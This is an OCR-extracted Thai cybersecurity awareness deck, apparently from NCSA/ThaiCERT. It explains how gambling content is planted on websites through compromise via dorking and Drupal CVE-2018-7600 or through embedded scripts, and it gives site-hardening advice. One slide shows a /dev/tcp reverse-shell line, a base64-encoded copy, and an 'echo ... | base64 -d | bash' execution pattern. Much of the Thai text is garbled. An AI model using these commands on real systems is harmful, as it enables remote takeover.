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Tunsaanuuuillaisiazsi vadn 9 ag 2 uuuéda

- Custom Website v¥aiJilasiiidauTdadunias

- CMS Website 1flutiasaguiiiilu open source angatinaizu
+wordpress
+Joomla
+ Drupal

Website Gambling Attack (n13gafatidwiiu) wan afi at 2 asedl

1. Compromise(Uszgitsruan) ardudasTnizasseuy agdninianiuauia3asacing
quysal

2. Embedded script Lsilsitznanaiuauiaiastaian1einanss weiflounedeunvadnaianlal
NI uaITTUUTALViRAT 6
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NC§W & ThalCER] Website Gambling

Website Gambling Attack

Compromise Embedded script

T | & B

Command & Control e

"
*f & = [
Threat Actor A Victim Server

Threat Actor B Victim Server

Case1 Compromise Google dorking or hacking

1s&unsalad google taAum davTnd aasidlaisuasle Tausey site uag AL3saN
favn1511 google AuM

iy nsaliiulasnasinendans Wissumaudousaiasuaafl

n u

site:sci.ubu.ac.th “wiy” “urA190”

nsaidnsn “Drupal” 21291117 CVE-2018-7600

Drupal CVE-2018-7600 PoC
https://www.drupal.org/sa-core-2018-002
CVE IDs:

CVE-2018-7600

& Y < = a o v, )
LanaﬁajﬂLuammiamuaaulau VD ﬂaqnuﬁﬂmsmnmLaimmmﬂaaﬂna Wﬂ,iﬁﬂwuu NCSA auy
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https://www.drupal.org/sa-core-2018-002

Description:

A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x
and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal
site, which could result in the site being completely compromised.

CVE dazasini 4 nilvfigniaasaanin

Keyword:
- Remote execution
- Remote shell /Reverse shell

NCS. @ ThaiCERT
O ™ )

Case 1 Compromise

ev/tcp/10.10.10.10/9001 0>51

2Jpbi9iYXNOIC1pIDAMICOKZXYVAGNWLZEWL JEwL JEwL J EwL ZkwMDEEMD4MMQO =

Ard9dvuuLilu bash64 anunsaundagtduddeasae'laauanyg

echo base64 command | base64 -d | bash
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[ N J B soowoi — -zsh — 77x25

soowoi@iMac-khxng—soowoi ~ % echo Hello World

Hello World

soowoi@iMac-khxng-soowoi ~ % echo Hello World | baseés4
SGVsbG8gV29ybGQAK

soowoi@iMac—-khxng—soowoi ~ % echo SGVsbG8gV29ybGQK | baseé4 —d
Hello World
soowoi@iMac-khxng-soowoi ~ %

https://www.facebook.com/NCSA.Thailand/videos/1264121957933355

MERMUTRILLuAME aignaRIfIWILNS

et

NCS'! @ ThaiCERT

dnug

Case 1 Compromise

Reverse Shell
— Pl A\
' 1
1. - Wy
Threat Actor \wr

‘Illll........

Victim Site
&

2. Get shell reverse !
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https://www.facebook.com/NCSA.Thailand/videos/1264121957933355

NCS/| @ ThaiCERT

Case 1 Compromise

T TR R R T T TR "’ "D

fin1s&39 cronjob duFusudatinvung enuu/nanaivue

AU
navaniladasTniual enasaunavinu uazdndaanudanealicdla (JlWdudany ag
navinuatanlnu)

G|
1.8danatanssluiiluilaiiu
2. aAdauviavinuIN uidazlsdiau uianuiannsvinou'ly

Jmszinganssuaasidlaaniswiiu
win Ay litudduiineseg aghiaunsain'le uadiadndvdannniaatain
1eiwszdinnsida Referer header
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anus

Referer Header Explain

The Referer header (note the misspelling of "referrer") in HTTP requests is a part of the header information that a
web browser sends when making a request to a server. This header indicates the URL of the web page from which
the request was made, essentially telling the destination site where the user came from.

tequest Response

’
(o]
o

PR g u g e e e ey

Case 2 Embeded
ullaisiaueau (Webboard)
- Gdwiluinazanindsdas lutavanudauiuvinlvfidayacidwiiudeasluiil iadu
WU google

Google Search Console

wdvaunanIsAuvnansllgaigua Wamdanistladasinidsanaslisasnislving
AsAuIdsIng)TuNaniIsAuIan google
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Google Search Console

To delete a specific search path or URL from Google Search Console.

Welcome to Google Search Console

Domain @ RL prefix

URL: https://search.google.com/search-console/welcome?utm_source=about-page

tRantA3Iaviia Removal Tools anniiunsan site K3aLWANLIIEAINITALAANAIIANANITAUNN

NCS| @ ThaiCERT

Google Search Console

To delete a specific search path or URL from Google Search Console, follow these steps:
- Use the "Removals" Tool: This tool allows you to temporarily or permanently remove URLs from Google's search results. You can
find it under the "Index" section in Google Search Console. Go to the URL removal section and submit the search path (e.g., /your-
page-path) for removal. This will block the URL from appearing in Google search results.

& Y < = a % Y, @
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1

asuAlaidwiiu 13169390 Attack Surface wsaWun hacker &unsatanzianldlu
szuu iNanazsunsalniladasTuivaridule

WordPress:

1. flinaaansdwd, 8y, uazldnduy
2. ladswadunindennsouasztilaldoru Two-Factor Authentication (2FA)
3. feavilanausnwauldaaasia 1y Wordfence Security

Joomla:

1. dlee Joomla uaraiunenaatI&iNLENa
2. lafswasunwdownsonazilaladenu 2FA
3. danvRIuenashrIaNudaania 1w RSFirewall

nsaseiuladeidaandia

1. Input validation & Output Encoding
AtlITanian Aa Input Validation ma:;“l,ajl,?‘?'aﬁaua input 1@ a1 user GAIATIAFAUNA 9
input uavaulayaaziiuduasanauazinlllsenanaide server
e ilavAunislaudtau SQL injection
e 1af parameterized queries iiailagfun13Tand 1zu SQL injection
o @at1d php 14 prepare statement
Escape special character in HTML to prevent XSS(Cross-Site Scripting)
§aai19 php 14 script 1A Wuddnus dia lilafidnussiiamdug
&5 form inputs asiim data type, size , format uag range
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2. Authentication & Session Management

nsiuautanasaEuAndounse (1du anuandust aAnuduaiau u
nUAL)

wansWRM U adanasvinilaansia 1y berypt, Argon2 v§a PBKDF2
Tdnsigidaunaraiavea (MFA)

lfanAluatuilaansia (1au HttpOnly, Secure, SameSite)
nyudsunaryinlitniduasdulignaacattlaansaiaaanainsyuy

3. Access Control & Authorization

o

ANAIUANNNSIANEIAINUNLIN (RBAC): Aniuadnaauuninm (1du faua
seuy K T29u)

aradaudnduasylalunnnisnsyviniasdanaau

lifudnnns &nddusl iaannsdhdetayaiiasidanday

4. Security Headers
Implement HTTP security headers 12

Content-Security-Policy(CSP) to prevent XSS
X-Frame-Options to prevent clickjacking
Strict-Transport-Security (HSTS) to enforce HTTPS
X-Content-Type-Options to prevent MIME-type sniffing
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Building a secure website

4, Security Headers
* Implement HTTP security headers like: - -
. 4 Content-Security-Policy: default-src 'self'; object-src 'none’
+ Content-Security-Policy (CSP) to prevent XSS. X-Frame-Options: DENY or SAMEORIGIN
+ X-Frame-Options to prevent clickjacking. —) Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
« Strict-Transport-Security (HSTS) to enforce HTTPS. X-Content-Type-Options: nosniff

« X-Content-Type-Options to prevent MIME-type sniffing.

5. Secure file uploads
o FAaUsmanIngLazruaNaAanTan
o daAuinaiawTvanativlaansde: WddunisiaAunansa1omnifinisabe
STHTCRN
o gunulnaddantawisnauvinnnsiiuiin

6. Regular Security Audits & Update
o Flimaaandusliiuaiaatiaua; dawsus laus3 wazdiuisdasioniaas
Viulafel
sifiunisenazaumulaandauarnisnagaunistanyssuutiuisedn
o anadauiiuinuasiulasuasnaiiagitfifanssuiidaindniala (1du Au
WENENULNFTEUUTRULAT)
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SUMMARY
How to secure your site !!!

i

WV
N\

\—J

7

| XK K X |

Keep update

Apply Strong Authentication Mechanisms & Password

ool o

AvAIA 1anTausu Lﬁa'l)i'll,ﬁu

https://www.facebook.com/share/v/oghRfFxiHpK4elLqga/
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Reduce Attack Surface


https://www.facebook.com/share/v/oghRfFxiHpK4eLga/

